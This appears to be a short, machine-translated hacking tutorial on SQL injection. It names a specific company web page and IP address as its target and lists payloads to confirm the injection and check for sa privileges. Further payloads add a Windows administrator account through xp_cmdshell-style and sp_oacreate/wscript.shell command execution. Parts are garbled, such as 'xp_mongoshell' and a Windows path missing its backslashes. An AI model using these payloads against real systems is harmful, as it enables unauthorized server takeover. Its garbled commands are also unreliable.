SA permission to add an Administrator Account

Injection point: asp "> http://www.enzymotec.com/Page.asp cc = 0102041102 IP: 192.117.122.145 Israel inurl: asp
Specific script commands:
1. Determine whether injection exists; and 1 = 1; and 1 = 2
; And user_name () = dbo determines whether the current system's connected user is sa
2. Add the system administrator
; Exec master. dbo. xp_mongoshell net user jiaozhu/add ;--
; Exec master. dbo. xp_mongoshell net localgroup administrators jiaozhu/add ;--

Declare @ shell int exec sp_oacreate wscript. shell, @ shell output exec sp_oamethod @ shell, run, null, c: windowssystem32cmd.exe/c
This command uses SQL to execute system commands.
For example:
Declare @ shell int exec sp_oacreate wscript. shell, @ shell output exec sp_oamethod @ shell, run, null, c: windowssystem32cmd.exe/c net user jiss 111/add
This command uses SQL to execute system commands.